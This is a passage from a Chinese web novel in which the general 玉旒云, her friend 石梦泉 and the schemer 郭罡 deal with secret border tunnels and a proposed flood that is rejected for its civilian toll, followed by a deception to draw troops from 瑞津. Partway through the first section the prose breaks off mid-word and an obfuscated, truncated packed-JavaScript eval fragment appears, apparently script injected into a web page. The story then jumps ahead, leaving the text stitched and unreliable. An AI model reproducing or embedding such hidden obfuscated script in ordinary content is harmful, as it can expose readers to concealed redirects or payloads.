郭罡道:“这之后老夫就有投奔玉大人之意,不过大人南征北战,老夫虽然到了落雁谷,却无缘见到。结果就跟着楚军的队伍到了楚国。” “楚国不也挺好?”玉旒云道,“楚国不是有程亦风么?他可谓一人之下万人之上,你去投奔他,前途岂非一片光明?” “程亦风乃是一介书生腐儒。”郭罡道,“做官做到他那个位置,又得全国百姓拥戴,当将那没用的皇帝取而代之。他现在搞新政搞得一头劲,却不把那绝对的权力抓在手中,迟早会被人踢下来。而且,楚国这条破船,他再怎么修修补补,也只能让其暂时不漏水,终究还是要散架的。” 听他这样评价程亦风,玉旒云有些意外。 郭罡继续道:“所以老夫又从楚国回来郑国,恰好先王驾崩,二皇子和皇叔争夺王位,说道谁能战胜樾军谁就可登极为帝。老夫就做了二皇子的谋士。” 玉旒云冷笑:“你就将寿康侯的地道出卖给了二皇子,让他好派兵来富安?” “非也,非也!”郭罡道,“老夫将这个秘道卖给二皇子是为了将他卖给玉大人,以此做老夫的敲门砖,好拜到大人帐下。” 玉旒云哈哈大笑:“郭罡啊郭罡,你是郭半仙么?怎知道我玉某人打猎散心一定来到这里?或者你只是蠢钝无比,在这里守株待兔,正好遇上了我?要是我不来,你有一条秘道却迟迟不那富安拿下,你怎么向你主公交代?” 郭罡毫不发怒,拱手道:“老夫不是半仙,老夫靠的是计算——玉大人自大青河之后被招回宫,部众留在瑞津。表面上看来,大人是高升做了领侍卫内大臣,实际是被削了兵权。个中原委老夫虽然还不清楚,但是老夫知道,大人一定不会甘心在宫中带领禁军。你收回兵权是迟早的事。而最简单的方法,无非是发动一场对郑国的战争,自己成为主帅,就可以名正言顺夺回瑞津的部队。所以老夫就等在这里助大人一臂之力——老夫并不知大人究竟何时会来,所以唯有时时从秘道前来查探。这也并不是守株待兔,而是坚持不懈才对。” 玉旒云听他一语道破自己的计划,先是惊讶,接着又庆幸:好在这家伙自投罗网,否则他跑去投奔了赵王,我岂不前功尽废? “秘道是只有花园一个出口么?”她问。 郭罡道:“这间总兵府里只有那一个。不过富安城里还有七个出口。边境那边还有十三个出口。” 这么多?玉旒云暗惊:我得先把富安城中的出口先堵死再说。因道:“城中的另七个出口在何处?” 郭罡道:“城南码头乔家宅、赵家宅,城西粮草库边刘家宅、王家宅,城北林家宅、静心庵,城中春风楼。如果大人想去把这些通道堵死,就大可不必了。今夜该来的都来过了。以后大人要攻进郑国,还会用到这些秘道。” 郑国二皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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石梦泉虽然不赞成收郭罡,但关着此人确实必要,也就不再和玉旒云争执下去,而是道:“那么现在是不是要立刻去堵住城中的另七个出口?” 玉旒云道:“自然,不过,你不用亲自监督,叫邓川他们去做就好了。咱们还是上秘道里看看去——已经点过火了么?” 秘道里的火熄灭后留下了黑色的痕迹。玉旒云和石梦泉带了十来个士兵顺着此痕迹追踪,走出了近一里地,看到地上有一堆烧剩的衣物,显然就是那些郑军士兵脱下的。 “终于还是叫他们走脱了。”石梦泉道,“这个秘道的规模实在可观。” “为了寻花问柳而建这么浩大的工程,寿康侯也真荒唐得可以。”玉旒云道,“前面不知道还有多远才到郑国地界?哼,我看郑军知道行踪暴露,害怕我们会追过去,大概正忙着把出口堵死——其实根本就是多此一举,秘道如此狭窄,每次只容一人通过。如果我们就这样走到郑国那边去,岂不是出来一个就被他们抓着一个?我怎么可能派人从秘道到那边去呢?” “那你又叫人堵我们这头的秘道?”石梦泉笑着指出她的矛盾之处。 玉旒云道:“那怎么同?郑国的什么二皇子怎么能跟我比?他不见了他的狗头军师,说不定要倾巢出动来寻找呢。” 石梦泉笑笑:“如此说来我们也赶快调头才好,不然在这里遇到人家‘倾巢出动’,短兵相接,狭路相逢,可占不了什么便宜。” 众人以为有理,便回头后退。又商议说对付秘道敌人的最好办法还是在出口处守株待兔,来一个杀一个。“另一个办法是把秘道中都灌上火油。”玉旒云道,“只不过工程太大,花费也太大。所以我们还是来一个杀一个,来两个杀一双,看看二皇子有多少人来送死。” 大家初次挫败了敌人的奸计,说说笑笑回到了花园中。便见邓川在出口处转悠。 “怎么?”玉旒云问,“你不是去堵城里其他的出口么?” 邓川道:“可不是!那个静心庵花了些功夫就找到了,我们把庵里翻个底朝天,终于找到了地道口,就拿大石头堵上。春风楼也还不难寻,现在正在里面找出口呢。可是其他的什么王宅、赵宅的,早已人去楼空,门口的匾额也都不晓得哪里去了。城中这么多大宅,谁知道那五个宅院各是哪家?” 玉旒云一愕:可恶!这郭罡竟然还留了这一手。她想立刻命令把郭罡押来问话,但是知道这家伙恐怕又要以死想逼非叫自己去见他不可,等他发出此话来,反而显得自己是受他胁迫,倒不如直接过去。于是也不同别人说,只招呼石梦泉跟自己下地牢。 郭罡这时已在草铺上躺下了,面朝墙里,仿佛已经睡着了。玉旒云咳嗽了好几声,他始终不回头来看一眼。直到石梦泉出声道:“郭先生,玉大人有事要请教你。”他这才翻身坐起,整了整衣服,道:“咦,玉大人方才一去,老夫还以为都不会再回来,所以就睡下了。不知去而复返,所为何事?” 玉旒云看他那样子就厌恶无比,真想刺他几句。但心里猛地浮起当日孝文太后评说自己的话——虽然当得起‘军神’之名,然而在朝廷上下军队内外结怨甚多。眼前的这个人,哪怕将来只是自己养的一条狗,那么当然是养一条服服帖帖的狗比较好,无谓整天踩狗尾巴,把狗惹恼了,不知什么时候就会反咬自己一口。 这样一想,她立刻换了副神气:“方才玉某人匆忙,有些事情未向先生请教清楚,特地回来问问先生。” 郭罡见她态度与前大不相同,倒是愣了一愣,才道:“如果老夫没有猜错,玉大人是想要问老夫除了静心庵和春风楼外的五个地道出口在何处,是不是?” 玉旒云点头:“方才莽撞了,不曾想起此地易主已久,大家大户早已去逃难,宅子早就认不出来了,所以想请郭先生指明几处地道的所在。” 郭罡微微而笑:“大人是想老夫坐在牢里给你描述呢,还是想叫老夫跟着你到跟前去?” 玉旒云道:“自然是劳烦先生走一趟,不知先生意下如何?” 郭罡点了点头。 玉旒云便令人给他开门,亲自恭恭敬敬地把他请了出来,给他打着灯笼一直走出地牢。 外面邓川等人都惊讶地看着,不知究竟是何用意。 郭罡视若不见,只对玉旒云道:“大人,我们先去城南码头的乔家宅和赵家宅,如何?” 玉旒云道:“好。” 郭罡又道:“不过老夫在地牢了时间太长,犯了风湿,腿脚不甚灵便。不知大人可否给老夫备辆车?” “你……”邓川气得差点要骂“你是个什么东西”,然而玉旒云已先道:“那就备车,去寻地道出口要紧。”他只好把后半截话吞回肚里,气哼哼地找人套车。 便这样众星捧月般地把郭罡簇拥到了城南码头。方才一场火烧尽了所有的旧船,河面上只剩下玉旒云的那艘船,周围都是烧焦的桅杆在水中半浮半沉,好像刚刚进行过一场水战一般。 郭罡指了指靠水边的第一间庄园:“这就是乔家宅。”他又指了指栈桥另一侧临水的房子:“这就是赵家宅。大人打算先去哪一家?” 玉旒云道:“先生以为呢?” 郭罡道:“既然乔家离我们近,就先去乔家吧。”便带领众人走竟那所早已荒废的大宅中。 地道的出口十分隐蔽,如果没有他的带领,不知要花多大功夫才能寻着——原来是在这家厨房的水池里,须得拨动水池中的一个机关把水泻尽,才能打开池底。 玉旒云觉得这寿康侯当真费尽心机,只是有一点不解:“人如果从下面出来,也要把池中的水放尽,岂不要被浇个满头?” 郭罡道:“这就是这个机关设计的巧妙之处——池水泻出走的是旁边的一条水道,水道连通大青河,但和这地道是隔绝的,所以当然不会淋人满头满脸。等人出了地道,关上池底,再扳回机关,河水就又从水道回到池子中。” “哦?这个机关可真是有意思。”玉旒云奇道,“看来如此小巧,竟然能控制大青河水!” 郭罡道:“乔家是郑国水利世家,以前郑国凡要修建堤坝、水库、沟渠、桥梁,都要请乔家出面。他们现在逃难去了,不知在哪里,大人日后如果寻到乔家后人,对樾国水利有千秋之功。” 玉旒云虽然还没觉得樾国现在需要兴修水利,不过记下来也没坏处。 郭罡又道:“大人看到的这个小机关,其实连通乔家自建的一个小水坝,控制着大青河水,使之不会倒灌进来。如果这个水坝被毁,地道将被河水淹没。” 不知其用意,玉旒云没接腔。 郭罡接着道:“赵家宅中虽然没有这样小巧的水坝,不过也筑了一堵墙把河水挡在宅外。一旦河水进入其宅院,地道会被淹没。” “所以你的意思是我不用堵,而应该引水淹没地道?”玉旒云问。 郭罡道:“大人心思敏捷,果然一猜就中。不过,老夫这个建议不仅仅是让大人毁掉地道,而是——大人知道这地道通往何处?” “寿康侯当日建来方便自己寻欢作乐,当然是通到他家里,也就是总兵府。”玉旒云道,“不过,从总兵府又通到其他的许多的地方。从这里一引水,就把其他的通路也毁了。” 郭罡道:“寿康侯的地道四通八达,在富安——连现在的同总兵府内共有八个出口,而在靖杨,也就是国境的那一边,共有十三个出口。任意两个出口之间都可以步行到达,然而引河水进去,就不同了。因为富安的地势高,靖杨的地势低,如果从赵家宅和乔家宅引大青河水进地道,水往低处走,自然就朝靖杨那边流,跟大青河的走势相同。因此,大人之需举手之劳就可以淹没靖杨。” “果真?”这下邓川也兴奋起来,“早就看那些郑国军队不顺眼,淹他们一下,他们大约就会出来迎战了。” 玉旒云也想:一次鬼使神差的洪水,只有郑国那二皇子才知道是怎么回事。他一旦愤怒地来找樾军算帐,那么樾军也就有了还击的理由。郭罡可真是够阴险的! “靖杨既然地势低洼,难道没有排水沟渠么?”石梦泉问。 啊,倒是少考虑了这点,玉旒云佩服挚友心思细密:“不错,如果我们从这里引水下去,却被他们从水沟直接引到了大青河,岂不是白忙一场?” 郭罡道:“大人放心。靖杨地势极低,大青河的河面其实还要比它的城墙高。靖杨人古来都是用沟渠引大青河水到城中来,汛期还要加固堤坝,防止河水淹没城市。一旦靖杨发生汛情,只能眼巴巴地看着城市被水吞没。河水还会继续流过乾窑、归平,黎茳等六个县,才能在镇海重新流进大青河。一言以蔽之,我们从上游引水下去,靖杨是无法排洪的。” “那可好!”邓川道,“倒时郑国人气急败坏来攻打我们,外人还以为他们是‘睡不着觉怪床歪’,我们可就有理由将他们杀个片甲不留。那就——” “可是——”石梦泉打断他,“靖杨无法排洪,就会化为一片汪洋。那靖杨的百姓将如何?” 郭罡愣了愣:“石将军不必多虑。靖杨自从成了边境线,老百姓也跑得差不多了。” “那么乾窑呢?归平呢?黎茳呢?”石梦泉道,“你不是说洪水要经过六个县才能重新进入大青河吗?难道这六个县里也都没有住老百姓?” 郭罡诧异地看着他——玉旒云身边的第一亲信。“石将军,要成大事,怎么能够有妇人之仁?” “你没有妻儿,也没有父母么?”石梦泉提高了声音,众人几乎从没见他动过怒。 郭罡道:“不错,老夫是孑然一身。” 石梦泉冷笑一声,身微微颤抖:“那么难怪你会想出如此计策!”他转向玉旒云,直挺挺地跪下:“大人,卑职请大人一定不要听信此人之言。若用此计,千百万百姓将流离失所。大人攻下的将不是郑国,而是一片荒滩,和遍野哀鸿。” 玉旒云怔怔地看着挚友:哎呀,我求胜心切,竟然没有想到!赶忙双手相扶:“你起来,这是做什么?我们当然不能做这种伤天害理的事!来人——把这个出口给我封了!” 56. 第 56 章 富安的地道出口除了总兵府的叫人看守之外,其他的全都用土石封死。玉旒云命郭罡立刻带着大家去到每个出口,一一亲自下达命令。到全部完成时,天已经快亮了。大家过了时辰,反而睡意全无,便各自去做每天例行的事。 如此过了十天。算算玉旒云给庆澜帝写秘信请求调兵的手令,无论如何这时也该有回音了,偏偏什么消息也无。她不禁有些担心起来:西京不会出了什么事吧? 石梦泉道:“再等等,现在是腊月里,路不好走。” 于是就又等了三天,还是不见传信兵回来。再耽搁下去就要到年关了,那时全国各大军事重镇的统帅会到辖区内巡查——富安此地归神女关指挥,神女关又在吕异的辖区之内,倘若吕异来到这里,就麻烦了。更有,玉、石二人“狩猎“的时间太长,再怎么乐不思蜀,也没有不回宫过年的道理。相信北疆情势稍一缓和,赵王父子也会回京…… 玉旒云不禁烦躁不安。虽然抱着一线希望,庆澜帝的手令也许明天就会到,但跟着就发愁怎么让郑军先挑起战火来——淹掉靖杨无意是最便捷的方法,只是,正如石梦泉所说,这样对郑国百姓危害太大,即使得胜,万一这事被传了出去,就会成为朝中对头用来攻击自己的把柄。 如果派人由秘道潜入靖杨制造些混乱呢?那边有十三个出口,须得问郭罡从哪个出口出来为妙,又要绘制秘道地图,还需要想一种混乱可以让郑军哑巴吃黄连……实在费神。 假如按照自己最初设想的,从水路到靖杨,然后用火炮假装攻击富安呢?火炮毕竟还没有在实战中使用过,万一真的伤了自己人……再说郑国凭空多出火炮来,一追查就可知道是假。将来又要面对朝中的对头们…… 她想出了种种计划,又一一推翻。似乎自从听了郭罡的水淹计之后自己就着了魔,时不时往那计策上靠:如果能淹没靖杨,又不伤百姓,那该多好啊! 偏偏却不能,她心下烦躁,看到桌上有一本半翻开的书,就一把推到了地上。正巧郭罡从外面推门而入,这书就掉在他的脚边。“大人和谁生气呢?” 玉旒云没好气地:“没生气,不小心弄掉了而已。” “哦,是么?”郭罡将书拣起来,“《司马法》,原来大人在看这本书。” 玉旒云本来想说不是自己在看,但又转念一想:难道还能是范柏在看么?石梦泉也从不曾在这间书房里读过书……莫非这是郭罡特特摆出来有所企图?她因此沉默不语。 郭罡笑道:“啊,老夫愚笨。大人治军已久,这本书恐怕看得很熟了呢——古者,以仁为本,以义治之谓正。正不获意则权。权出于战,不出于中人。是故杀人安人,杀之可也;攻其国,爱其民,攻之可也;以战止战,虽战可也。放仁见亲,义见说,智见恃,勇见方,信见信。内得爱焉,所以守也;外得威焉,所以战也。” 他读的是《司马法》的开篇。玉旒云听到“杀人安人,杀之可也”就知道他是想说水淹之计——这些天不见他提,还以为他死了心,未料依然执着。便冷笑道:“你不用再说了——你不是才读过么?‘攻其国,爱其民,攻之可也’——你把郑国的土地都淹没了,这叫爱其民么?” 郭罡道:“自然不叫,那叫杀其民。” 玉旒云听他这样说,真是又好气又好笑:“那么你还来宣读什么《司马法》?” 郭罡道:“老夫只是有一事不解,想和大人讨论讨论——大人的士兵是从何处而来?” 玉旒云皱了皱眉头:“自然是从各地招募。” 郭罡道:“士兵入伍之前做何营生?” “自然是做什么的都有。”玉旒云道,“农夫,樵夫,铁匠……” 郭罡道:“那么大人以为郑国士兵入伍之前都是什么人呢?” 玉旒云怔了怔。郭罡接着道:“还不是农夫,樵夫,铁匠——是人家的儿子,兄弟,丈夫,父亲——还不就是郑国百姓?为什么郑国的百姓不能杀,士兵却可杀呢?莫非只因穿上了铠甲,他们就不再是人了吗?” 一语把玉旒云问住了。半晌,道:“那你是什么见解?” 郭罡道:“老夫就是想了许多年也没想通,所以干脆不想了。” 玉旒云蹙着眉:这叫什么回答? 郭罡道:“老夫自从决定不再考虑这个问题之后对主公素来都说:只要是为了胜利,为了将来,该杀就杀,当断不断,反受其乱。” “哼!”玉旒云冷笑了起来:绕了这么一个圈子还是回到开始。“好。”她道,“那么我现在也明确的跟你说,我认为,为了胜利,为了将来,都不可以引水淹没靖杨。这就是我的决断。” 郭罡的面色很平静:“只要大人有了决定,那就好。” 谈话到这里气氛僵硬,应该告一段落了,然而郭罡却站着不走。玉旒云虽然知道这人可以帮自己对付公孙天成,但依然讨厌他的态度,就问:“你还有什么要说?” 郭罡道:“老夫另有一事不明,要向大人请教。” 玉旒云不耐烦地:“说——” 郭罡道:“大人有没有发觉最近在边境演习的郑军有何变化?” 玉旒云每天要到边境上巡视一回。这些天来,郑军依旧“操练”不止,但人数有所增加。玉旒云虽然叫哨兵不要浪费力气去驱赶他们,却也嘱咐要提高警惕,以备郑人突然发难。“他们派出来的人越来越多了。”她道。 郭罡摇摇头:“大人只看到人越来越多,怎么没有注意到其中孩童与老人也越来越多?” 玉旒云愣了愣,仔细想想,果然如此。她上午还在郑军队伍中看到几个十来岁的孩子和头发雪白的老人。 郭罡道:“大人爱民,是以不忍心杀民。而郑国的各路诸侯为了集结队伍争夺王位,却强拉壮丁,搞得民不聊生——大人迟迟不出兵,任他们将你眼中的不可杀之民变为可杀之兵,是爱民乎?杀民乎?你方才说你已有决断,但老夫看,你还是当断不断!” 这正说到玉旒云的烦心事了,立刻就发起火来,冷笑道:“你倒说说以富安的兵力一旦发兵靖杨,纵然开始得胜,下面的仗怎么打下去?” 郭罡道:“大人不是有瑞津的人马么?” 提到这个玉旒云没的更加恼火:“吕异和刘子飞肯把瑞津的部队还给我?如果没有……” “如果没有什么?”郭罡道,“老夫大胆猜测,大人是向皇上请了一纸调兵手令,但是现在还未收到,是也不是?” 玉旒云咬了咬嘴唇:“你倒是神机妙算,什么都能猜得到。光猜到有什么用?难道你能变封圣旨给我?” 郭罡道:“大人过奖了。老夫可没那么大本事变圣旨。不过老夫以为,即使没有圣旨,也能从瑞津调过兵队来。并且,老夫能把大人那个引郑人先出兵的烦恼也一并解决。” 玉旒云皱着眉头:“怎么调?” 郭罡道:“老夫来给大人编个故事,大人听合不合理——” 瑞津。 接连下了几场雪,开始有了辞旧迎新的气氛,围着炭炉喝酒烤肉正合时节。 刘子飞和吕异接下了大军之后日子过的既累又乏味—— 本来他二人争着要接收玉旈云的部众,都想,这是一支英勇善战之师,谁得到了,谁的力量就大大增强,将来建功立业也就如虎添翼。他二人一个授命驻守原铴国即现在的中州四省,一个授命驻守郑国割让的半壁江山,锁月城和瑞津刚好就在交界之处,两人都争相要把这肥肉划归自己的辖区。互相较劲了好一阵,才达成了共同管辖的协议。谁知,玉旈云的部下对他们好不买账,石梦泉留下罗满主持大局,这些士兵们就宁可听罗满这位副将的,也不停刘子飞和吕异的差遣,两人好不郁闷。又有心贪污军需顺带搞点儿破坏让玉旈云背黑锅,但石梦泉临走将一切都清点造册,他们非但贪污不得,凡有正常或意外损耗的,他们还得补上,以防玉旒云日后找茬。两人因而满腹牢骚:早知当初不揽这麻烦,如今既无功劳又无苦劳。 而更倒霉的是,连瑞津的商人那里都没有油水好捞——自玉旒云毁了人家的商船又强征药材之后,商人对军队印象差到了极点,许多商铺纷纷撤庄,搬到别处。一个商港登时变得冷清不已。所剩下为数不多的几家商号也都对军队避而远之。所以,本来刘、吕二人争着要独揽瑞津的兵权,后来谁也不愿意呆着,争相要回到各自的驻地去,把这个食之无味的鸡肋丢给对方。只是因为不想留下把柄给玉旈云抓,才勉强按照之前共同管辖的协议办事,轮流派人来巡视,到了腊月,又双双亲自前来巡查,且商议下一年要如何处理瑞津这个大麻烦。 想他而人各自驻兵一方,地方缙绅冰敬炭敬处处到位,而来到瑞津,冷冷清清,只有泰和商号送来些菜肴,好不凄凉。然聊胜于无,他俩还可饮酒赏雪。泰和商号新调来的掌柜,一个名叫宋闰田的,也叨陪末座。 三人正喝酒,突然见外面卫兵慌慌张张地跑了进来:“吕……吕将军,范总兵来了!” 吕异愣了愣:“这时候他跑到这儿来干什么?” 卫兵不待回答,范柏已经从外面摔了进来:“舅父,您可一定要帮我!” 看他满身污泥血迹,刘、吕二人都吓了一跳。吕异道:“青陵,你……你这是怎么了?” 范柏号啕大哭,跟在他身边的一个大胡子副官就道:“启禀将军,范总兵在富安……在富安被郑人打败,现在富安失守了。” 吕异惊得筷子都掉进了沙锅里。刘子飞问道:“富安被郑人袭击了么?是什么时候的事?怎么我们一点儿消息也没听到?” 大胡子副官道:“回将军的话……不是富安被袭击,是……是我们先去攻打郑人……” “什么?”吕异拍案而起,“乱七八糟的在说些什么?快给我从头到尾讲个清楚!” “是……”范柏收住了眼泪,“青陵蒙舅父提拔在富安做总兵,可是手下的人没一个服我的。他们个个都说我没本事,坐到今天这位子都是因为舅父您用钱贿赂兵部尚书。” “胡说八道!”吕异骂。 “是胡说八道。”范柏擦着眼泪,“我为了舅父的名声,就处治了几个带头造谣的,像是邓川、邵聪他们,都被我把官职一抹到底——邵聪还被我派到伙房呢。但是其他人还是议论个不停。我就想,须得立一件奇功,才能叫他们都服我。这时正好郑国那二皇子天天带着人马到边境上挑衅。我看他的士兵老的老,小的小,就想……灭他应该不困难,而且总算是一件军功。所以我就……” “你就去攻打郑国二皇子?”吕异怒道,“你这糊涂虫!私自破坏两国停战协议,这可要留下话柄啊!” 刘子飞和吕异面和心不和——又或者不如说两人除了在想对付玉旈云这事上有共同利益之外,其他方面都明争暗斗。此时他听到人家的外甥闯了祸,反而开心,道:“也不见得就留下话柄。要是能将那二皇子的队伍全数歼灭,再乘胜追击灭了郑国——到时候这个国家都不存在了,谁还来计较当初的停战协议?唉,不过可惜……” 吕异真是气得七窍生烟:“小畜生!你快说,既然人家士兵老的老,小的小,你怎么能把富安也丢了?” 范柏连头也不敢抬,道:“我……我也不知道……不是一下就丢了……我跟他们打了大半个月,富安的士兵死伤过半……粮草又不小心被他们烧了……这才……” “大半个月?”吕异惊道,“这么长时间了,我怎么一点儿消息也没听到?” 范柏道:“是……是我自一开战就不让往外传消息,怕万一有什么闪失,传回京去叫皇上知道了,会怪罪舅父……” “关我屁事!”吕异大骂,“我看是你这小畜生开始满以为自己能轻松取胜,所以想先把实情瞒住了,将来好写一封天花乱坠的战报吹嘘自己,是也不是?” “是……是……”范柏点头,“青陵如果能立大功,舅父……舅父也会被皇上奖赏……” “混帐!”吕异斥道,“什么奖赏!要是你真的打赢了,得了奖赏,你会想到我?现在是闯了祸了你才来找我给你收拾烂摊子。你老实说,究竟富安士兵是死伤过半,还是已经全军覆没?” “这……”范柏吓得都结巴了。 “启禀将军,”那大胡子副官道,“范总兵带了我们一千多个弟兄撤出了富安城,现在就驻扎在梅岭。只要将军能借些人马给我们,一定能把富安夺回来。” “富安驻军一万,现在就剩一千人?”刘子飞惟恐天下不乱,在一边煽风点火,“哎呀,这要是再借兵,万一有去无回,岂不是糟了?” “如果舅父和刘将军肯亲自带兵来……” 范柏话才出口,就被大胡子副官插话打断:“不行。范大人你忘了么?我们私自去攻打郑人已经犯下大错,现在再叫吕将军和刘将军不奉皇命就率兵到富安来,岂不将他们也拖下了水?当务之急是要快借些精兵回去,赶紧夺回富安,千万不要让这事传到皇上的耳朵里呀!” 吕异皱着眉头。 刘子飞道:“你们这些后生懂什么?兵士的差异很小,关键都是将帅的指挥。如果部署失当,再多是兵也打不赢。吕将军,依我看,为了范贤侄好,你还是亲自去一趟,替他收拾残局。反正那边剩下的一千人都是你的旧部,指挥起来顺手,富安城又是你的辖区,调援兵方便得很。瑞津这里有我,出不了事。” 吕异心道:我去了前脚去了富安,你还不后脚就派人上京告密?到时候你添油加醋,恐怕连我的辖区也占了去!我可没那么笨。 见他沉默不语,范柏不敢吭气。那大胡子副官又道:“也不见得再多的兵都赢不了。咱们如果能十倍于郑人,十个踩他一个,还怕踩不死他们?我们范大人虽然不及两位将军这么神勇过人,但总算也是个总兵,也读过兵书。假如两位将军来战要五千兵马,那我们范总兵带个五万兵马,还怕不成么?” 吕异看了他一眼:范柏会提拔些马屁精,这早在自己的意料之内,不过这人说的也不全是废话,如果能以人海战术迅速击败郑军,就可以尽快把这事平息下去。五万军队的移动显然不能神不知鬼不觉,但是可以说是操练演习。只要稳住了刘子飞,不让这家伙忙里添乱,那就万事大吉!“你叫什么名字?”他问那副官,“眼生得很!” “小人姓贾,叫贾老实。”大胡子副官回答,“我跟将军在翼水打过仗,不过小人位卑,将军不认识。” 贾老实?吕异想,这名字可真是难听。“兵我可以借给你。”他对范柏道,“不过,五万人太多了。富安那地方一马平川,根本就守不住。给你三万已是绰绰有余。在过年之前,你一定要把富安给夺回来,否则——皇上面前我可不保你。你能不能做到?” 范柏张了张嘴,回答之前先去看贾老实。贾老实道:“将军……这……这打仗的事,怎么敢打保票?” 吕异一拍桌子:“你们都是饭桶么?三万人马你们都不能保证夺回富安来?那我看你们也不用回去了。我现在就奏报朝廷,向皇上请罪,然后亲自带兵去收复富安!来人,把他们给我押下——” “将军且慢——”贾老实高呼,接着推了推范柏,让他赶快表态。范柏挤眉弄眼,仿佛还是不太有把握,但终于道:“舅父借三万人给青陵,青陵一定在过年前收复富安。” 吕异瞪着他:“哼,你嘴上说的——你倒讲讲,你是什么个计划?莫非还真想十个踩一个去踩死郑军么?” “不,不,不……”范柏连忙摇手,“我打算让一千人到城下去叫战,其他人远远地埋伏着,郑人一出来就把他们围住。” 也算是中规中矩的打法,吕异微微点了点头:“那接下来呢?郑军不可能一开始就倾巢出动,剩下的人你怎么办?” 范柏道:“第二天我再去叫战……” “还去?”吕异道,“你不知道同样的计策用第二回就不灵了么?” 范柏汗如雨下:“我……我……” “将军教训的是。”贾老实道,“不过郑军和范大人多次交锋,知道范大人不是一个……一个狡猾的人……”他似乎是斟酌着措辞——说白了,那意思是范柏是个白痴,但是作为下属,就得称赞上司是“不狡猾”。“郑军一定认为范大人是想把同样的计策用第二回,于是就不想理会。所以范大人还要再叫战,直叫到郑军厌烦为止。这时他们就会想,如果多出些兵力一次将我军消灭,就可永绝后患。”贾老实拿手比画着,“这儿是富安城,这儿是梅岭。将军借我们的三万人马多数都将埋伏在梅岭中。郑军并不知道我们究竟有多少人——就算猜到我们搬了救兵,也绝对猜不到有三万之众。他们大概以为我军有三、四千就了不得了,于是会出动大部分人马——甚至全部人马追击叫战的部队。到时,我军就一直朝梅岭撤退,引郑军进我们的包围圈。等他们发现时,早被三万人包围,哪里还跑得了呢?” 吕异摸了摸下巴:这个计策算不得高明,但也还马马虎虎。“这是你想出来的?”他问贾老实。 “小人哪儿有那个本事。”贾老实道,“都是范总兵的妙计。” “哦?哈哈——”刘子飞笑道,“贤侄的计策大巧若拙,巧妙得很。吕将军,看来你是后继有人啦!” 吕异没心思发火,须得先把正事办了:“三万步兵,五千石粮草——兵要一个不少地给我带回来,少了你给我征人来补上。粮草你过了年也要给我补回来,否则……哼,我就从兵部配给你富安的粮草中扣。” “是,是,是……”范柏答应,又道,“舅父,三万都是步兵吗?” “怎么?”吕异道,“你说要人埋伏在梅岭,神女关距离那里最近,神女关的三万步兵都调给你,还不行?” “不,不是……”范柏道,“我听说舅父接管了参加大青河之战的所有人马,其中有玉旒云的骁骑营亲兵,可不可以把这些人借给青陵?有他们帮忙,一定把郑人打个落花流水。” “骁骑营?” “是……”范柏道,“还有前锋营……前锋营……听说也很厉害……” “贤侄可真是好眼光!”刘子飞道,“前锋营都是跟着石梦泉在大青河出生入死过的人,我樾军之中要找比他们骁勇的,恐怕还有些困难呢。骁骑营嘛……你要是用骁骑营去叫战,到时候调头朝梅岭跑,包准郑军追不上他们。这样吕将军要你一个不少的把人带回来,就不是什么难事啦。况且瑞津去到梅岭跟神女关去到梅岭也差不多。” 范柏不知他是故意搅局,满怀期待地看着吕异。而吕异怎能不知刘子飞打的什么主意:本来要借三万人给范柏已经很难隐瞒,倘还从瑞津调动玉旈云的部队,岂不是故意把这事捅出去么?他当即沉了脸道:“不行,玉旒云的亲兵一个也不能给你。你也不想想,她的骁骑营去叫战?那还不把郑军吓得缩在城里不敢出来么?你不要挑三拣四了,三万人去攻打富安,哪怕直接朝城里冲也打下来了。”他说着,叫了手下来,写好调兵的命令,又交予兵符,让他们去神女关。 泰和商号的宋闰田见正事也谈完了,忙笑道:“外头让他们张罗着。酒菜既然已经备了,就别浪费——小人是泰和商号在瑞津的掌柜,我和范总兵是第一次见面,这一桌既是给您接风,又是给您送行。预祝您马到功成,旗开得胜。” “啊……多谢,多谢。”范柏瞥了一眼吕异,见后者面上阴云密布,怎么敢留下来喝酒?赶忙告辞道:“舅父和刘将军慢慢喝……我……我去看看人马和粮草……” 走了出来,前面是吕异差遣办事的兵丁,范柏要跟上去,却被贾老实拉住。“干什么?”他甩不脱,有些生气。 贾老实冷冷道:“这话好像应该是我问你——你方才叫吕将军和刘将军亲自带兵跟你上富安——你打的什么主意,以为我不知道么?现在你又想去告密了?” 范柏脸涨得通红:“你们要我说的我都说了,还要怎样?是舅父不肯给你们瑞津的人马,可不干我的事——还不放开我?” 贾老实道:“本来可以放开你,但是你自己做事不叫人信任,所以只好委屈你。直到我带着三万兵马离开,你不可离开我视线半步。你不要忘记了,玉大人亲自率领诸多将士联名参你,发落你的圣旨肯定已经在路上,你唯一的出路就是好好把玉大人交你的差事给办妥了,戴罪立功。否则,纵逃了死罪也逃不了活罪。” 范柏又气又急,眼睛都红了,看迎面有一个武将走了过来,暗道:豁出去了!因大叫道:“救命——救——” 才喊出一嗓子就被捂住了嘴。不过依然吸引了那个武将的注意,走过来一看究竟:“什么事?” 听这声音,贾老实一愕,回过头去。范柏见他发愣,挣开了,道:“我乃富安总兵范柏,被人胁迫而来,你快去叫我舅父吕将军……” 而来人并不看他,只是盯着贾老实:“你……你是……” 贾老实哈哈大笑:“罗满,果然只有你能认出我!”他把大胡子轻轻一扯,露出本来的面目。罗满立刻惊喜地张大了嘴:“石将军!真的是你!你怎么来了?” 石梦泉把胡子又贴了回去:“这个说来话长,咱们须得找个不会被吕异和刘子飞发现的地方慢慢说。” 罗满道:“容易容易,到我的营房就好。这个人——”他指指惊诧的范柏。 石梦泉道:“这个人须得时时刻刻不离我的视线。没我在场,决不能让他跟任何人说一句话。” 罗满道:“好说!”走上来同石梦泉一人一边夹住范柏:“你说吕异是你舅父?嘿嘿,你可老实点儿,我罗满早就看他不顺眼了!” 范柏万没有想到自己向“敌人”求救,当然更想不到吕异和刘子飞当日强行接手玉旒云的部队,全军上下几乎都把他们恨得牙痒痒的,要找一个肯救他的人,实在很困难哩! 